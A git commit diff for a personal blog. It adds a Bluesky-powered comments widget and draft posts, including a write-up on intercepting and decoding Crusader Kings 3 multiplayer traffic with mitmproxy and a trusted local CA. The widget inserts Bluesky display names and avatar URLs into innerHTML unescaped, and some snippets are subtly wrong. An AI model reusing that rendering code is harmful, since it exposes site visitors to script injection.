up
This commit is contained in:
parent
eb57365d6e
commit
12e2ca11c0
130
_includes/bluesky.liquid
Normal file
130
_includes/bluesky.liquid
Normal file
@ -0,0 +1,130 @@
|
||||
|
||||
{% if page.data.bluesky_article == blank and post.data.bluesky_comments_id == blank %}
|
||||
<div class="article-content">
|
||||
<h2>Comments</h2>
|
||||
<p>
|
||||
You can use your Bluesky account to
|
||||
<a class="button-link" href="https://bsky.app/profile/{{ page.data.bluesky_article }}/post/{{ post.data.bluesky_comments_id }}"
|
||||
target="_blank">reply</a>
|
||||
to this post. Learn how this is implemented
|
||||
<a class="link" href="https://www.menzel.it/post/2024/11/set-comments-experience-bluesky-posts/">here</a>.
|
||||
</p>
|
||||
<div id="bluesky-comments-list"></div>
|
||||
<noscript>You need JavaScript to view the comments.</noscript>
|
||||
<script src="/assets/js/purify.min.js"></script>
|
||||
<script type="text/javascript">
|
||||
|
||||
document.addEventListener("DOMContentLoaded", function () {
|
||||
const commentList = document.getElementById('bluesky-comments-list');
|
||||
commentList.innerHTML = "Loading comments...";
|
||||
|
||||
fetch(`https://public.api.bsky.app/xrpc/app.bsky.feed.getPostThread?uri=at://{{ page.data.bluesky_article }}/app.bsky.feed.post/{{ post.data.bluesky_comments_id }}&depth=10`)
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
const replies = data.thread.replies || [];
|
||||
replies.sort((a, b) => new Date(a.post.record.createdAt) - new Date(b.post.record.createdAt)); // Sort by date
|
||||
|
||||
commentList.innerHTML = ""; // Clear loading text
|
||||
|
||||
const renderComments = (comments, parentElement) => {
|
||||
comments.forEach(reply => {
|
||||
const author = reply.post.author;
|
||||
let content = reply.post.record.text;
|
||||
const createdAt = new Date(reply.post.record.createdAt).toLocaleString();
|
||||
|
||||
// Validate counts, ensure they are numbers
|
||||
const replyCount = Number(reply.post.replyCount) || 0;
|
||||
const repostCount = Number(reply.post.repostCount) || 0;
|
||||
const likeCount = Number(reply.post.likeCount) || 0;
|
||||
|
||||
// Process facets to embed links and mentions
|
||||
const facets = reply.post.record.facets || [];
|
||||
facets.sort((a, b) => a.index.byteStart - b.index.byteStart); // Ensure facets are in order
|
||||
|
||||
let offset = 0;
|
||||
facets.forEach(facet => {
|
||||
const start = facet.index.byteStart + offset;
|
||||
const end = facet.index.byteEnd + offset;
|
||||
const originalText = content.slice(start, end);
|
||||
let replacementText = originalText;
|
||||
|
||||
facet.features.forEach(feature => {
|
||||
if (feature.$type === 'app.bsky.richtext.facet#link') {
|
||||
replacementText = `<a class="link" href="${feature.uri}" target="_blank" rel="noopener noreferrer">${originalText}</a>`;
|
||||
} else if (feature.$type === 'app.bsky.richtext.facet#mention') {
|
||||
replacementText = `<a class="link" href="https://bsky.app/profile/${feature.did}" target="_blank" rel="noopener noreferrer">${originalText}</a>`;
|
||||
}
|
||||
});
|
||||
|
||||
content = content.slice(0, start) + replacementText + content.slice(end);
|
||||
offset += replacementText.length - originalText.length;
|
||||
});
|
||||
|
||||
const safeContent = DOMPurify.sanitize(content); // Sanitize the content
|
||||
|
||||
const commentHtml = `
|
||||
<div class="comment-container">
|
||||
<img src="${author.avatar}" alt="${author.displayName}'s avatar" class="comment-avatar">
|
||||
<div class="comment-details">
|
||||
<div class="comment-header">
|
||||
<a href="https://bsky.app/profile/${author.did}" target="_blank" class="username-link">${author.displayName}</a>
|
||||
<span class="comment-handle">@${author.handle}</span>
|
||||
</div>
|
||||
<div class="comment-text">${safeContent}</div>
|
||||
<div class="comment-timestamp">${createdAt}</div>
|
||||
<div class="comment-meta">
|
||||
<!-- Comment Icon and Count -->
|
||||
<span class="meta-item">
|
||||
<svg class="icon icon-comment" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
|
||||
<path d="M12 2C6.48 2 2 5.58 2 10c0 2.5 1.64 4.71 4.11 6.13L5 21l5.11-2.11c.61.08 1.24.11 1.89.11 5.52 0 10-3.58 10-8s-4.48-8-10-8zm0 14c-.55 0-1.1-.05-1.64-.14l-.36-.07-3.09 1.27.64-2.73-.24-.14C5.14 13.88 4 12.03 4 10c0-3.31 3.58-6 8-6s8 2.69 8 6-3.58 6-8 6z"/>
|
||||
</svg>
|
||||
<span class="icon-text">${replyCount}</span>
|
||||
</span>
|
||||
|
||||
<!-- Reshare Icon and Count -->
|
||||
<span class="meta-item">
|
||||
<svg class="icon icon-reshare" viewBox="0 0 24 24" width="21" height="21" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path d="m13.5 13.5 3 3 3-3"/>
|
||||
<path d="M9.5 4.5h3a4 4 0 0 1 4 4v8m-9-9-3-3-3 3"/>
|
||||
<path d="M11.5 16.5h-3a4 4 0 0 1-4-4v-8"/>
|
||||
</svg>
|
||||
<span class="icon-text">${repostCount}</span>
|
||||
</span>
|
||||
|
||||
<!-- Like Icon and Count -->
|
||||
<span class="meta-item">
|
||||
<svg class="icon icon-like" viewBox="0 0 24 24" width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path d="M12 21.35l-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3 9.24 3 10.91 3.81 12 5.09 13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54L12 21.35z"/>
|
||||
</svg>
|
||||
<span class="icon-text">${likeCount}</span>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
const commentElement = document.createElement("div");
|
||||
commentElement.classList.add("comment");
|
||||
commentElement.innerHTML = commentHtml;
|
||||
parentElement.appendChild(commentElement);
|
||||
|
||||
// Render child comments recursively
|
||||
if (reply.replies && reply.replies.length > 0) {
|
||||
const childContainer = document.createElement("div");
|
||||
childContainer.classList.add("child-comments");
|
||||
commentElement.appendChild(childContainer);
|
||||
renderComments(reply.replies, childContainer);
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
renderComments(replies, commentList);
|
||||
})
|
||||
.catch(error => {
|
||||
console.error("Error fetching comments:", error);
|
||||
commentList.innerHTML = "<p>Error loading comments.</p>";
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</div>
|
||||
{% endif %}
|
0
_includes/blueskycomment.liquid
Normal file
0
_includes/blueskycomment.liquid
Normal file
@ -9,8 +9,7 @@
|
||||
</header>
|
||||
<div class="container mt-4">
|
||||
<!--h1 class="title">{{ page.title }}</p-->
|
||||
<div class="content m-5">{{ page.content }}</p>
|
||||
</div>
|
||||
<div class="content m-5">{{ page.content }}</div>
|
||||
<footer>
|
||||
{% include "footer.liquid" %}
|
||||
</footer>
|
||||
|
BIN
assets/posts/images/writeup-4-flow.jpeg
Normal file
BIN
assets/posts/images/writeup-4-flow.jpeg
Normal file
Binary file not shown.
After Width: | Height: | Size: 406 KiB |
@ -2,7 +2,7 @@
|
||||
title: Nmap Cheat Sheet
|
||||
layout: default.liquid
|
||||
categories: ["Cheat Sheet"]
|
||||
tags: ["cheats heet", "nmap"]
|
||||
tags: ["cheat sheet", "nmap"]
|
||||
is_draft: true
|
||||
---
|
||||
|
||||
|
86
drafts/notes-1-setup-wifi.md
Normal file
86
drafts/notes-1-setup-wifi.md
Normal file
@ -0,0 +1,86 @@
|
||||
---
|
||||
title: Hosting Bluesky PDS on my Server Using Docker
|
||||
categories:
|
||||
- Note
|
||||
tags:
|
||||
- note
|
||||
- wifi
|
||||
layout: default.liquid
|
||||
is_draft: true
|
||||
permalink: /posts/notes/1
|
||||
---
|
||||
|
||||
|
||||
## Notes On Dongle Wifi Install On Linux
|
||||
|
||||
I recemtly got some wifi key. I has hoping that would work out the box on linux whatwever it did note.
|
||||
These just quick note how to install the correct drivers and fix all.
|
||||
|
||||
```
|
||||
$ lsusb
|
||||
<skip>
|
||||
Bus 005 Device 003: ID 0e8d:7612
|
||||
<skip>
|
||||
```
|
||||
|
||||
First download the drivers form the official, first good news was that linux source for the driver were availabe.
|
||||
|
||||
```sh
|
||||
$ tree -L 2
|
||||
.
|
||||
├── Linux
|
||||
│ ├── 00007319-RTL88x2BU_WiFi_linux_v5.1.7_19806_BTCOEX20161024-3333.20161025.zip
|
||||
│ ├── RTL8192EU_linux_v4.4.1.1_18873_BTCOEX20160412-0042.20160805.zip
|
||||
│ └── RTL8811AU_Linux_v5.2.6_21981_COEX20170206-6760.20170407.zip
|
||||
├── MAC OS
|
||||
│ └── 00008703-RTLWlanU_MacOS10.9_MacOS10.12_Driver_1830.15.b13_1827.4.b26_UI_5.0.5.b5.zip
|
||||
├── __MACOSX
|
||||
├── Realtek user's manual.doc
|
||||
└── Windows
|
||||
└── 5D-00007964-RTLWlanU_WindowsDriver_1030.17.1101.2016_Drv_3.00.0014_UI_1.00.0287B.L.zip
|
||||
```
|
||||
|
||||
From we are able to identify
|
||||
|
||||
|
||||
```
|
||||
$ yay RTL8192EU
|
||||
3 aur/rtl8192eu-git 118.1628c74-1 (+2 0.00)
|
||||
Drivers for the rtl8192eu chipset for wireless adapters (D-Link DWA-131).
|
||||
2 aur/rtl8192eu-dkms 5.6.4.r302.g2fddecc-1 (+3 0.58)
|
||||
Driver for Realtek 8192eu chipset (DKMS)
|
||||
1 aur/rtl8192eu 4.4.1-3 (+11 0.00) (Out-of-date: 2021-10-12)
|
||||
Driver for the Realtek8192eu chipset.
|
||||
==> Packages to install (eg: 1 2 3, 1-3 or ^4)
|
||||
==> 2
|
||||
<skip>
|
||||
```
|
||||
|
||||
```
|
||||
$ lsusb
|
||||
<skip>
|
||||
Bus 005 Device 003: ID 0e8d:7612
|
||||
<skip>
|
||||
```
|
||||
|
||||
But, it was not workking, after research (and sometime...) i finally find this post talkgin about ```usb_modeswitch```
|
||||
|
||||
```
|
||||
$ yay usb_modeswitch
|
||||
2 aur/xmm7360-usb-modeswitch-git 1-1 (+1 0.00)
|
||||
Tools for the Fibocom L850-GL / Intel XMM7360 LTE modem
|
||||
1 extra/usb_modeswitch 2.6.1-4 (83.4 KiB 253.4 KiB)
|
||||
Activating switchable USB devices on Linux.
|
||||
==> Packages to install (eg: 1 2 3, 1-3 or ^4)
|
||||
==> 1
|
||||
<skip>
|
||||
```
|
||||
```
|
||||
$ lsusb
|
||||
<skip>
|
||||
Bus 005 Device 003: ID 0e8d:7612 MediaTek Inc. MT7612U 802.11a/b/g/n/ac Wireless Adapter
|
||||
<skip>
|
||||
```
|
||||
|
||||
|
||||
it know working,
|
132
drafts/writeup-2-ck3-private-server-part1.md
Normal file
132
drafts/writeup-2-ck3-private-server-part1.md
Normal file
@ -0,0 +1,132 @@
|
||||
---
|
||||
permalink: /posts/writeups/2
|
||||
title: Implementing a CK3 Private Peer-to-Peer Multiplayer Server - Part 1 - Intercepting Client/Server Exchange
|
||||
categories:
|
||||
- Write Up
|
||||
tags:
|
||||
- write up
|
||||
- ck3
|
||||
- mitm
|
||||
- reverse engenering
|
||||
layout: default.liquid
|
||||
is_draft: true
|
||||
---
|
||||
## Implementing a CK3 Private Peer-to-Peer Multiplayer Server - Part 1 - Intercepting Client/Server Exchange
|
||||
|
||||
### Reason for the project
|
||||
|
||||
#### Issues:
|
||||
* Official CK3 multiplayer suffers from performance issues, particularly with long loading times.
|
||||
* If official servers are discontinued or unsupported, multiplayer functionality will be lost.
|
||||
|
||||
#### Goal:
|
||||
Provide a peer-to-peer solution that improves multiplayer performance and eliminates dependency on Paradox’s servers.
|
||||
|
||||
|
||||
### Enumeration
|
||||
|
||||
In this initial phase, we will document and gather information to reverse-engineer the protocol exchange between the CK3 game client and Paradox’s servers. This will allow us to implement own private server for the game.
|
||||
|
||||
|
||||
### Identify Logs Location
|
||||
|
||||
Logs related to the client can be useful during the development of the server.
|
||||
|
||||
To locate the relevant log files for Crusader Kings 3, run the following command in our home directory:
|
||||
|
||||
```bash
|
||||
$ find -iname "*.log" | grep -i Crusader
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/gui_warnings.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/message.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/memory.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/code_revisions.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/database_conflicts.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/dedicated_server.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/system.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/callstacks_hotjoin.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/error.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/randomlog_hotjoin.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/text.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/setup.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/profile.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/game.log
|
||||
./.local/share/Paradox Interactive/Crusader Kings III/logs/debug.log
|
||||
```
|
||||
|
||||
We identified that the logs are located in ```~/.local/share/Paradox Interactive/Crusader Kings III/logs```.
|
||||
These logs will be useful for identifying client errors comming for implementation of our server.
|
||||
|
||||
|
||||
### Monitor Server Communication
|
||||
|
||||
To implement our own server, we need to reverse-engineer the protocol between the CK3 client and the server. In order to do that we need to monitor the communication and understand the messages being exchanged. However, this communication is typically encrypted to protect data confidentiality, integrity, and authenticity. To overcome this, we set up a Man-in-the-Middle (MITM) proxy.
|
||||
|
||||
A MITM proxy intercepts and decrypts the traffic between the client and the server, allowing us to inspect and analyze the data being exchanged. The proxy acts as an intermediary between the client and the server, where the client communicates with the MITM proxy instead of the actual server. The proxy, in turn, forwards the data to the real server. By doing so, we can capture, read, and log the messages that are passed, even if they are encrypted.
|
||||
|
||||
This setup allows us to observe not only the clear and encrypted communication between the client and server. By analyzing this data, we can gather the necessary information to reverse-engineer the protocol, which is crucial for building our own server implementation.
|
||||
|
||||
|
||||
1. Setup the [mitmproxy](https://mitmproxy.org/) in SOCKS5 mode:
|
||||
|
||||
```bash
|
||||
$ mitmweb --mode socks5
|
||||
[14:20:26.195] SOCKS v5 proxy listening at *:1080.
|
||||
[14:20:26.197] Web server listening at http://127.0.0.1:8081/
|
||||
```
|
||||
|
||||
2. Add the MITM Proxy Certificate to the Trusted Certificate Store
|
||||
|
||||
The MITM Proxy uses a self-signed certificate that must be added to our trusted certificate store (for more info, see TODO).
|
||||
|
||||
To obtain the certificate, follow these steps:
|
||||
|
||||
* Set up Firefox to use the MITM proxy:
|
||||
- Go to **Settings** → **Network Settings** → **Manual Proxy Configuration**
|
||||
- Set **SOCKS Host** to `127.0.0.1` and **Port** to `1080`.
|
||||
|
||||
* In the MITM proxy web interface (http://127.0.0.1:8081/), navigate to **File** → **Install Certificates**. Follow the instruction for your system. In our case Archlinux:
|
||||
|
||||
- Download the certificate file ( `mitmproxy-ca-cert.pem` for linux).
|
||||
|
||||
- Then add certificate as trusted ca system wide (for archlinux):
|
||||
|
||||
```bash
|
||||
$ sudo trust anchor --store mitmproxy-ca-cert.pem
|
||||
```
|
||||
|
||||
* After downloading the certificate, return to Firefox and reset the network configuration:
|
||||
- Go to **Settings** → **Network Settings** → **Use System Proxy Settings**.
|
||||
|
||||
|
||||
|
||||
3. Redirect CK3 Traffic Through the Proxy
|
||||
|
||||
Then we need to redirect the ck3 application trafic througt MITM the proxy.
|
||||
To redirect only the traffic of CK3 we use [nsproxy](https://github.com/nlzy/nsproxy).
|
||||
```nsproxy``` (namespace proxy) is a Linux-specific command-line tool, that makes
|
||||
applications force to use a specific SOCKS5 or HTTP proxy.
|
||||
|
||||
```bash
|
||||
$ nsproxy -s 127.0.0.1 -p 1080 ./ck3
|
||||
```
|
||||
|
||||
If you're not aware of the location of the CK3 binary, we can always use the following command to find its location:
|
||||
|
||||
```bash
|
||||
$ find . -iname "*.log" | grep -i Crusader
|
||||
```
|
||||
|
||||
4. Analyze the Communication
|
||||
|
||||
In the MITM proxy web interface ([http://127.0.0.1:8081/](http://127.0.0.1:8081/)), we can now observe the game client’s requests.
|
||||
|
||||
Interestingly, we observe that multiplayer communication occurs over a WebSocket connection.
|
||||
|
||||
Therefore, the next step is to study the exchanges within this WebSocket to understand the protocol.
|
||||
|
||||
|
||||
## Conclusion
|
||||
|
||||
We have gained the ability to capture and analyze the data exchanged between CK3 clients and the multiplayer server, which will be essential for reverse-engineering the protocol. This information will be crucial for beginning the implementation of our own server.
|
||||
|
||||
In the next phase, we will delve deeper into the communication to reverse-engineer the protocol before starting the development of our own implementation.
|
52
drafts/writeup-3-utpass-about-manifest.md
Normal file
52
drafts/writeup-3-utpass-about-manifest.md
Normal file
@ -0,0 +1,52 @@
|
||||
---
|
||||
permalink: /posts/writeups/3
|
||||
title: Ubunbu Touch Development - Getting About Page Informations from Manifest
|
||||
categories:
|
||||
- Write Up
|
||||
tags:
|
||||
- write up
|
||||
- utpass
|
||||
- ubuntu touch
|
||||
- qt/qml
|
||||
layout: default.liquid
|
||||
is_draft: true
|
||||
---
|
||||
## Ubunbu Touch Development - Getting About Page Informations from Manifest
|
||||
|
||||
|
||||
|
||||
```js
|
||||
Component.onCompleted: {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", Utils.manifestPath(), false);
|
||||
xhr.send();
|
||||
var mJson = JSON.parse(xhr.responseText);
|
||||
manifestTitle.text = "<b>" + mJson.title + "</b>";
|
||||
manifestVersion.text = mJson.version + "<br>" + mJson.framework + "@" + mJson.architecture;
|
||||
manifestMaintener.text = mJson.maintainer;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
```cpp
|
||||
// utils.h
|
||||
...
|
||||
/**
|
||||
* @brief Retrieves the path to the manifest data.
|
||||
*
|
||||
* This function returns the full path to the manifest file used by the application.
|
||||
*
|
||||
* @return A QString containing the manifest file path.
|
||||
*/
|
||||
Q_INVOKABLE QString manifestPath();
|
||||
...
|
||||
|
||||
// utils.cpp
|
||||
QString Utils::manifestPath()
|
||||
{
|
||||
auto path = QDir(QDir::currentPath()).filePath("manifest_.json");
|
||||
qInfo() << "Manifest path : " << path;
|
||||
return path;
|
||||
}
|
||||
```
|
122
drafts/writeup-4-ck3-private-server-part2.md
Normal file
122
drafts/writeup-4-ck3-private-server-part2.md
Normal file
@ -0,0 +1,122 @@
|
||||
---
|
||||
permalink: /posts/writeups/4
|
||||
title: Implementing a CK3 Private Peer-to-Peer Multiplayer Server - Part 2 - Preliminary Analysis of Client/Server Exchanges
|
||||
categories:
|
||||
- Write Up
|
||||
tags:
|
||||
- write up
|
||||
- ck3
|
||||
- mitm
|
||||
- reverse engenering
|
||||
layout: default.liquid
|
||||
is_draft: true
|
||||
---
|
||||
|
||||
## Implementing a CK3 Private Peer-to-Peer Multiplayer Server - Part 2 - Preliminary Analysis of Client/Server Exchanges
|
||||
|
||||
To investigate the exchange, we set up two MITM proxies and clients to listen to both their communications, as explained in our previous post [Part 1](/posts/writeups/2) as follows:
|
||||
|
||||
We run a MITM proxy for the CK3 game client, hosting the game while running a SOCKS proxy on port 7070 and the web interface on port 7171:
|
||||
|
||||
```bash
|
||||
$ mitmweb --mode socks5 --listen-port 7070 --set web_port=7171
|
||||
[08:51:23.883] Loading script local-redirect.py
|
||||
Loaded redirect addon
|
||||
[08:51:23.883] SOCKS v5 proxy listening at *:7070.
|
||||
[08:51:23.884] Web server listening at http://127.0.0.1:7171/
|
||||
```
|
||||
|
||||
We run a MITM for the CK3 game client, not hosting the game while running a SOCKS proxy on port 6060 and the web interface on port 6161:
|
||||
|
||||
```bash
|
||||
$ mitmweb --mode socks5 --listen-port 6060 --set web_port=6161
|
||||
[08:51:49.697] Loading script local-redirect.py
|
||||
Loaded redirect addon
|
||||
[08:51:49.698] SOCKS v5 proxy listening at *:6060.
|
||||
[08:51:49.699] Web server listening at http://127.0.0.1:6161/
|
||||
```
|
||||
|
||||
We now run two instances of CK3 through their respective proxies. Then, we can play on two different accounts, run a multiplayer game, and study the communications between the clients (host of the game, non-host) and the server as follows.
|
||||
|
||||
Starting the game client for the game host:
|
||||
|
||||
```bash
|
||||
$ nsproxy -s 127.0.0.1 -p 7070 ./ck3:
|
||||
```
|
||||
|
||||
Starting the client for the game non-host:
|
||||
|
||||
```bash
|
||||
nsproxy -s 127.0.0.1 -p 6060 ./ck3
|
||||
```
|
||||
|
||||
|
||||
## Investigation the Messages Exchgenfs
|
||||
|
||||
Starting a game host (proxy port 7070) and joining by the game non-host (proxy port 6060) on each respective web UI shows the following.
|
||||
|
||||
For instance, the host game flow looks like this:
|
||||
|
||||

|
||||
|
||||
We can see on the right the path endpoints that serve the communication.
|
||||
|
||||
From this, we learn that the communication for the multiplayer game uses a websocket at ```ck3-new.online.paradox-interactive.com```
|
||||
|
||||
Looking at the right panel for the communications path, we can see messages exchanged related to creating a game.
|
||||
|
||||
We can then start investigating specific messages to better understand the protocol.
|
||||
|
||||
For instance, we focus on the [Hex Dump](https://en.wikipedia.org/wiki/Hex_dump) of a message at the creation of the game, which looks related to the creation of a game ID:
|
||||
|
||||
```
|
||||
0000000000 7a 38 0a 2d 35 30 33 36 32 35 30 30 2d 38 33 65 z8.-50362500-83e
|
||||
0000000010 33 2d 34 64 37 38 2d 39 37 65 34 2d 36 35 30 32 3-4d78-97e4-6502
|
||||
0000000020 65 34 39 38 30 39 35 33 2e 6e 61 6b 61 6d 61 2d e4980953.nakama-
|
||||
0000000030 31 10 08 1a 05 6c 6f 62 62 79 1....lobby
|
||||
|
||||
```
|
||||
|
||||
After some investigation using [CyberChef](https://gchq.github.io/CyberChef/) we find we can decode it using the following recipe: ```From Hexdump``` > ```Protobuf Decode``
|
||||
|
||||
|
||||
```json
|
||||
{
|
||||
"1": "1",
|
||||
"16": {
|
||||
"1": "50362500-83e3-4d78-97e4-6502e4980953.nakama-1"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
As a result, we now understand that the game uses websockets with protobuf to communicate.
|
||||
|
||||
At this point, we notice ```nakama``` in the game ID, and we ask ourselves if it's relevant.
|
||||
|
||||
After investigating further, we discover that [nakama](https://heroiclabs.com/docs/nakama/) is an open-source multiplayer game server.
|
||||
|
||||
## Leveraging Nakama Documentation
|
||||
|
||||
This is helpful as it gives us a bigger idea of their server architecture.
|
||||
|
||||
For instance, we look at the [Nakama documentation](https://heroiclabs.com/docs/nakama/concepts/multiplayer/)
|
||||
for different types of servers.
|
||||
|
||||
Returning to the message flows, it seems that the servers send messages every few milliseconds, meaning a tick update from the server.
|
||||
|
||||
Given the documentation, it seems we are looking at a [Nakama authorative server](https://heroiclabs.com/docs/nakama/concepts/multiplayer/authoritative/)
|
||||
|
||||
This means we have a clearer understanding of the server architecture and protocol.
|
||||
|
||||
However, we still need to understand the server implementation logic done by the CK3 developers.
|
||||
|
||||
|
||||
## Conclusion
|
||||
|
||||
We now have a general idea of the server architecture and protocol used, but still need to reverse-engineer the server's internal logic.
|
||||
|
||||
One way to implement our own multiplayer would be to directly implement a Nakama server, as it is open-source.
|
||||
|
||||
However, this solution would require setting up the Nakama server somewhere in order to play, which is not easy to run and set up, and doesn't align with our target (a simple, easy-to-run local peer-to-peer server).
|
||||
|
||||
Therefore, having to run a Nakama server will not work, and as a result, we chose to implement our local Nakama authoritative server emulator for CK3. This is what we will do in the following part of this series.
|
56
drafts/writeup-5-ck3-private-server-part3.md
Normal file
56
drafts/writeup-5-ck3-private-server-part3.md
Normal file
@ -0,0 +1,56 @@
|
||||
---
|
||||
permalink: /posts/writeups/5
|
||||
title: Implementing a CK3 Private Peer-to-Peer Multiplayer Server - Part 2- Implememting a Minimal Server
|
||||
categories:
|
||||
- Write Up
|
||||
tags:
|
||||
- write up
|
||||
- ck3
|
||||
- mitm
|
||||
- reverse engenering
|
||||
layout: default.liquid
|
||||
is_draft: true
|
||||
---
|
||||
# Implementing a CK3 Private Peer-to-Peer Multiplayer Server - Part 3 - Minimal Intermediary Server
|
||||
|
||||
Now that we have an understanding of the architecture, the next step is to create our server emulator by building a minimal server that simply forwards requests to and from the real server.
|
||||
|
||||
This will allow us to begin implementing our logic by simulating the requests sent to the server with our own implementation and comparing them to the normal execution.
|
||||
|
||||
Eventually, once we're confident that the simulated requests are accurate, we will switch to our own logic and stop forwarding requests. By that point, we hope our server emulator will be robust enough to function properly.
|
||||
|
||||
|
||||
## MITM redirection to localhost
|
||||
|
||||
|
||||
To redirect the requests we the MITM proxies describe [Part 2](/posts/writeups/4) but with script the redirect he request of the multiplayer to to our own server running on localhost on port 3030.
|
||||
|
||||
|
||||
```python
|
||||
from mitmproxy import ctx
|
||||
import mitmproxy.http
|
||||
|
||||
|
||||
class LocalRedirect:
|
||||
|
||||
def __init__(self):
|
||||
print("Loaded redirect addon")
|
||||
|
||||
def request(self, flow: mitmproxy.http.HTTPFlow):
|
||||
if "ck3-new.online.paradox-interactive.com" in flow.request.pretty_host and "/ws" in flow.request.url:
|
||||
ctx.log.info(f"pretty host is: %s" % flow.request.pretty_host)
|
||||
ctx.log.info(f"url: %s" % flow.request.url)
|
||||
flow.request.host = "localhost"
|
||||
flow.request.port = 3030
|
||||
flow.request.scheme = "http"
|
||||
|
||||
|
||||
addons = [LocalRedirect()]
|
||||
```
|
||||
|
||||
## Server implementation
|
||||
|
||||
For server implenent we choose to implent it in rust using wrap,
|
||||
|
||||
```rust
|
||||
```
|
@ -12,3 +12,4 @@ permalink: /posts/news/1
|
||||
## ✨ New Year, New Blog! ✨
|
||||
|
||||
This year, I’m kicking things off by starting a dev blog. I’ve found so much value in reading other dev blogs, so I figured it’s time I contribute and hopefully help someone out along the way. From tutorials to project write-ups and random thoughts on coding, I’ll to my best to be sharing some interesting stuff ! 💻💡
|
||||
|
||||
|
@ -10,8 +10,11 @@ tags:
|
||||
published_date: 2025-01-27 10:37:07.201403915 +0000
|
||||
layout: default.liquid
|
||||
is_draft: false
|
||||
data:
|
||||
"bluesky_article" : "qrouland.com"
|
||||
"bluesky_comments_id": "3lgq7d6mr6c2t"
|
||||
---
|
||||
## Self-hosting Bluesky PDS Using Docker
|
||||
# Self-hosting Bluesky PDS Using Docker
|
||||
|
||||
I'm not usually a big user of social networks, but with my new blog, I wanted a way to share updates on social media.
|
||||
I went with Bluesky for its decentralized nature, which aligns with my interest in the growing trend of decentralized social platforms.
|
||||
@ -25,7 +28,7 @@ As a result, I hope this guide will provide additional value and be helpful to o
|
||||
|
||||
|
||||
|
||||
### Installing the PDS Using Docker
|
||||
## Installing the PDS Using Docker
|
||||
|
||||
The starting point is the official bluesky [compose.yaml](https://github.com/bluesky-social/pds/blob/main/compose.yaml). However, my environment already include other services, including an [NGINX proxy with ACME Companion](https://github.com/nginx-proxy/acme-companion) to automatically generate and renew TLS certificates for my http services (see [Basic usage](https://github.com/nginx-proxy/acme-companion/wiki/Basic-usage)).
|
||||
|
||||
@ -127,7 +130,7 @@ The container is now ready to run. To start everything, use the following comman
|
||||
$ docker-compose up
|
||||
```
|
||||
|
||||
#### Ensuring Everything the PDS Running as Expected
|
||||
### Ensuring Everything the PDS Running as Expected
|
||||
|
||||
As directed in the documentation [https://atproto.com/guides/self-hosting](https://atproto.com/guides/self-hosting), to check that everything is online and working, you can visit `https://<PDS HOSTNAME>>/xrpc/_health` in your browser. You should see a JSON response with the version, like:
|
||||
|
||||
@ -141,12 +144,12 @@ If everything is configured correctly, the test should indicate that the connect
|
||||
|
||||
|
||||
|
||||
### Get your Root Domain (e.g domain.com) as your Bluesky Handle
|
||||
## Get your Root Domain (e.g domain.com) as your Bluesky Handle
|
||||
|
||||
You cannot directly create a handle for the root domain (e.g., domain.com). Therefore, we need to create an account with a different handle (e.g., handle.domain.com) and then verify the root domain handle ownership using [Decentralised Identifier (DID)](https://atproto.com/specs/did) . We can verify using DNS or HTTP server verification. It seems you can use either, but I did both to be sure and can't confirm if only one is enough.
|
||||
|
||||
|
||||
#### Create account
|
||||
### Create account
|
||||
|
||||
Since the administrative tools are included in the Docker image, they do not need to be installed separately, as follows:
|
||||
|
||||
@ -179,11 +182,11 @@ Then, you should be connected and able to verify your email address in the accou
|
||||
|
||||
Now, to validate our root domain, we first need to set up a Domain Ownership Verification method to confirm that we own the domain for the handle we want (e.g., domain.com).
|
||||
|
||||
#### Domain Ownership Verification using DNS
|
||||
### Domain Ownership Verification using DNS
|
||||
|
||||
To do the verification of the ownership of your domain using DNS add a DNS TXT record ```_atproto.<DOMAIN>``` with ```did=<DID>```.
|
||||
|
||||
#### Domain Ownership Verification using HTTP
|
||||
### Domain Ownership Verification using HTTP
|
||||
|
||||
To do the verification of the ownership of your domain using HTTP you need make accecible a file on http server at ```<DOMAIN>/.well-known/atproto-did``` (e.g. https://domain.com/.well-known/atproto-did) that contain your ```<DID>```.
|
||||
|
||||
@ -215,13 +218,13 @@ services:
|
||||
```
|
||||
|
||||
|
||||
#### Validation
|
||||
### Validation
|
||||
|
||||
|
||||
To verify if the DNS or HTTP Domain Ownership Verification is set up correctly,
|
||||
you can check on [https://bsky-debug.app/handle](https://bsky-debug.app/handle) by entering your handle.
|
||||
|
||||
#### Update Handle
|
||||
### Update Handle
|
||||
|
||||
We can now update your handle to your root domain !
|
||||
|
||||
@ -242,7 +245,7 @@ $ goat account update-handle <YOUR DOMAIN>
|
||||
```
|
||||
Once connected to your Bluesky account, your handle should now display as your root domain.
|
||||
|
||||
### Initiating a Crawl to Announce Your Instance
|
||||
## Initiating a Crawl to Announce Your Instance
|
||||
|
||||
If everything is working, it's time to notify a relay about our instance by requesting a crawl using the admin tool we downloaded earlier.
|
||||
|
||||
@ -250,10 +253,11 @@ If everything is working, it's time to notify a relay about our instance by requ
|
||||
